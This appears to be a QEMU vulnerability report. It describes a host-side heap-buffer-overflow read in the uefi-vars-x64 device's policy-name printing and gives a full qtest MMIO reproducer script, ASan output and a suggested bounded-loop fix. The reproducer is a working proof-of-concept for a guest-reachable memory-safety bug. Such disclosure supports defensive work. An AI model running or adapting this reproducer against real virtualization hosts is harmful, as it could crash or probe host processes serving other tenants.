I can trigger a host-side AddressSanitizer heap-buffer-overflow in current QEMU master through the `uefi-vars-x64` device's VarCheckPolicy REGISTER and SMM variable paths. The root cause is that variable policy names are explicitly allowed to be non-NUL-terminated, but `print_policy_entry()` prints them with an unbounded `while (*name)` loop: ```c static void print_policy_entry(variable_policy_entry *pe) { uint16_t *name = (void *)pe + pe->offset_to_name; fprintf(stderr, "%s:\n", __func__); fprintf(stderr, " name ´"); while (*name) { fprintf(stderr, "%c", *name); name++; } fprintf(stderr, "', version=%d.%d, size=%d\n", pe->version >> 16, pe->version & 0xffff, pe->size); ``` The REGISTER handler validates policy names with `uefi_str_is_valid(..., false)`, where `false` means the string does not need a terminating NUL: ```c if (!uefi_str_is_valid((void *)pe + pe->offset_to_name, pe->size - pe->offset_to_name, false)) { return uefi_vars_mm_policy_error(mhdr, mchk, EFI_INVALID_PARAMETER); } ``` Therefore, a guest can register a valid policy whose name is a bounded UTF-16 string with no `0x0000` terminator. Later, after `EndOfDxe`, setting a matching variable reaches `uefi_vars_policy_check()`, which calls `print_policy_entry(pe)`. `print_policy_entry()` then reads past the heap allocation while searching for a terminator. ## Environment Reproduced on current master: - QEMU commit: `b83371668192a705b878e909c5ae9c1233cbd5fb` - build: `../configure --target-list=x86_64-softmmu --enable-asan --disable-werror` - machine used by reproducer: `q35` - device: `uefi-vars-x64` ## Security boundary note The reproducer uses qtest only for deterministic MMIO writes to the `uefi-vars-x64` device. The affected path is the `uefi-vars` virtual device MMIO interface exposed to the guest when `uefi-vars-x64` is configured on an x86_64 `q35` virtualization machine. This should be treated as guest-accessible device emulation, not as a qtest-only issue. QEMU's UEFI variables documentation describes `uefi-vars` as a virtual device and notes that this host-side variable service increases the host attack surface. ## Steps to reproduce Build an ASan QEMU: ```text mkdir build-asan cd build-asan ../configure --target-list=x86_64-softmmu --enable-asan --disable-werror ninja -j$(nproc) qemu-system-x86_64 cd .. ``` Save the following as `repro_uefi_vars_policy_print_unterminated_oob.sh`: ```sh #!/usr/bin/env bash set -euo pipefail QEMU=${QEMU:-./build-asan/qemu-system-x86_64} TMPDIR=$(mktemp -d) trap 'rm -rf "$TMPDIR"' EXIT JSON="$TMPDIR/vars.json" cat > "$JSON" <<'JSON' { "version": 2, "variables": [ { "name": "CustomMode", "guid": "c076ec0c-7028-4399-a072-71ee5c448b9f", "attr": 3, "data": "00" }, { "name": "VendorKeysNv", "guid": "8be4df61-93ca-11d2-aa0d-00e098032b8c", "attr": 35, "time": "00000000000000000000000000000000", "data": "00" } ] } JSON ASAN_OPTIONS="${ASAN_OPTIONS:-abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1}" \ "$QEMU" \ -display none \ -nodefaults \ -machine q35,accel=qtest \ -m 128M \ -device uefi-vars-x64,jsonfile="$JSON" \ -qtest stdio <<'QTEST' # uefi-vars-x64 MMIO base is 0xfef10000. # 1) Register a valid variable policy whose name is UTF-16 "A" without a NUL terminator. writel 0xfef10004 0x0000005a writew 0xfef10002 0x0004 # mm_header.guid = VarCheckPolicyLibMmiHandlerGuid writel 0xfef10010 0xda1b0d11 writel 0xfef10010 0x46c4d1a7 writel 0xfef10010 0x71f3c99d writel 0xfef10010 0xebc67548 # mm_header.length = 0x42 writel 0xfef10010 0x00000042 writel 0xfef10010 0x00000000 # mm_check_policy: signature, revision, command=REGISTER(3), result writel 0xfef10010 0x00000000 writel 0xfef10010 0x00000000 writel 0xfef10010 0x00000003 writel 0xfef10010 0x00000000 writel 0xfef10010 0x00000000 # variable_policy_entry: version=0x10000, size=0x2e, offset_to_name=0x2c, # namespace = VendorKeysNv namespace, no size/attr restrictions, no lock. writel 0xfef10010 0x00010000 writel 0xfef10010 0x002c002e writel 0xfef10010 0x8be4df61 writel 0xfef10010 0x11d293ca writel 0xfef10010 0xe0000daa writel 0xfef10010 0x8c2b0398 writel 0xfef10010 0x00000000 writel 0xfef10010 0xffffffff writel 0xfef10010 0x00000000 writel 0xfef10010 0x00000000 writel 0xfef10010 0x00000000 # Name: UTF-16 "A" without terminating 0x0000. writew 0xfef10010 0x0041 writew 0xfef10002 0x0003 readw 0xfef10002 # 2) Signal EndOfDxe so policy checks become active. writel 0xfef10004 0x00000018 writew 0xfef10002 0x0004 writel 0xfef10010 0x02ce967a writel 0xfef10010 0x4ffcdd7e writel 0xfef10010 0x0c81e79e writel 0xfef10010 0x800847f0 writel 0xfef10010 0x00000000 writel 0xfef10010 0x00000000 writew 0xfef10002 0x0003 readw 0xfef10002 # 3) SET_VARIABLE "A\0" in the same namespace. The policy matches, and # print_policy_entry() walks the non-NUL policy name past the heap allocation. writel 0xfef10004 0x00000052 writew 0xfef10002 0x0004 # mm_header.guid = EfiSmmVariableProtocolGuid ed32d533-99e6-4209-9cc0-2d72cdd998a7 writel 0xfef10010 0xed32d533 writel 0xfef10010 0x420999e6 writel 0xfef10010 0x722dc09c writel 0xfef10010 0xa798d9cd # mm_header.length = 0x3a writel 0xfef10010 0x0000003a writel 0xfef10010 0x00000000 # mm_variable: function=SET_VARIABLE(3), status=0 writel 0xfef10010 0x00000003 writel 0xfef10010 0x00000000 writel 0xfef10010 0x00000000 writel 0xfef10010 0x00000000 # mm_variable_access: same namespace, data_size=2, name_size=4, attributes=3 writel 0xfef10010 0x8be4df61 writel 0xfef10010 0x11d293ca writel 0xfef10010 0xe0000daa writel 0xfef10010 0x8c2b0398 writel 0xfef10010 0x00000002 writel 0xfef10010 0x00000000 writel 0xfef10010 0x00000004 writel 0xfef10010 0x00000000 writel 0xfef10010 0x00000003 # name "A\0" and 2-byte data "Z" writel 0xfef10010 0x00000041 writew 0xfef10010 0x005a writew 0xfef10002 0x0003 QTEST ``` Run: ```text chmod +x repro_uefi_vars_policy_print_unterminated_oob.sh ./repro_uefi_vars_policy_print_unterminated_oob.sh ``` ## ASan output ```text print_policy_entry: ERROR: AddressSanitizer: heap-buffer-overflow READ of size 2 #0 print_policy_entry ../hw/uefi/var-service-policy.c:47 #1 uefi_vars_policy_check ../hw/uefi/var-service-policy.c:176 #2 check_update ../hw/uefi/var-service-vars.c:... #3 uefi_vars_mm_set_variable ../hw/uefi/var-service-vars.c:... #4 uefi_vars_mm_vars_proto ../hw/uefi/var-service-vars.c:... #5 uefi_vars_cmd_mm ../hw/uefi/var-service-core.c:111 #6 uefi_vars_cmd ../hw/uefi/var-service-core.c:182 #7 uefi_vars_write ../hw/uefi/var-service-core.c:262 #8 memory_region_write_accessor ../system/memory.c:492 #9 access_with_adjusted_size ../system/memory.c:568 #10 memory_region_dispatch_write ../system/memory.c:1550 #11 flatview_write_continue_step ../system/physmem.c:3263 #12 flatview_write_continue ../system/physmem.c:3293 #13 flatview_write ../system/physmem.c:3324 #14 address_space_write ../system/physmem.c:3444 #15 qtest_process_command ../system/qtest.c:530 0x... is located 0 bytes after 46-byte region [...) allocated by thread T0 here: #0 malloc ... #1 g_malloc ... #2 uefi_vars_add_policy ../hw/uefi/var-service-policy.c:135 SUMMARY: AddressSanitizer: heap-buffer-overflow ../hw/uefi/var-service-policy.c:47 in print_policy_entry ABORTING ``` ## Suggested fix Do not print policy names by walking until a NUL terminator unless the name was validated as NUL-terminated. The policy code already tracks the bounded name length as `pe->size - pe->offset_to_name` / `pol->name_size`, so `print_policy_entry()` should use a bounded loop. For example: ```c static void print_policy_entry(variable_policy_entry *pe) { uint16_t *name = (void *)pe + pe->offset_to_name; size_t name_bytes; size_t i; if (pe->size < pe->offset_to_name) { return; } name_bytes = pe->size - pe->offset_to_name; fprintf(stderr, "%s:\n", __func__); fprintf(stderr, " name '"); for (i = 0; i + sizeof(uint16_t) <= name_bytes; i += sizeof(uint16_t)) { uint16_t ch = name[i / sizeof(uint16_t)]; if (ch == 0) { break; } fprintf(stderr, "%c", ch); } fprintf(stderr, "', version=%d.%d, size=%d\n", pe->version >> 16, pe->version & 0xffff, pe->size); ... } ``` Alternatively, remove the unconditional stderr debug printing from the policy-check path or convert the name with an existing bounded helper.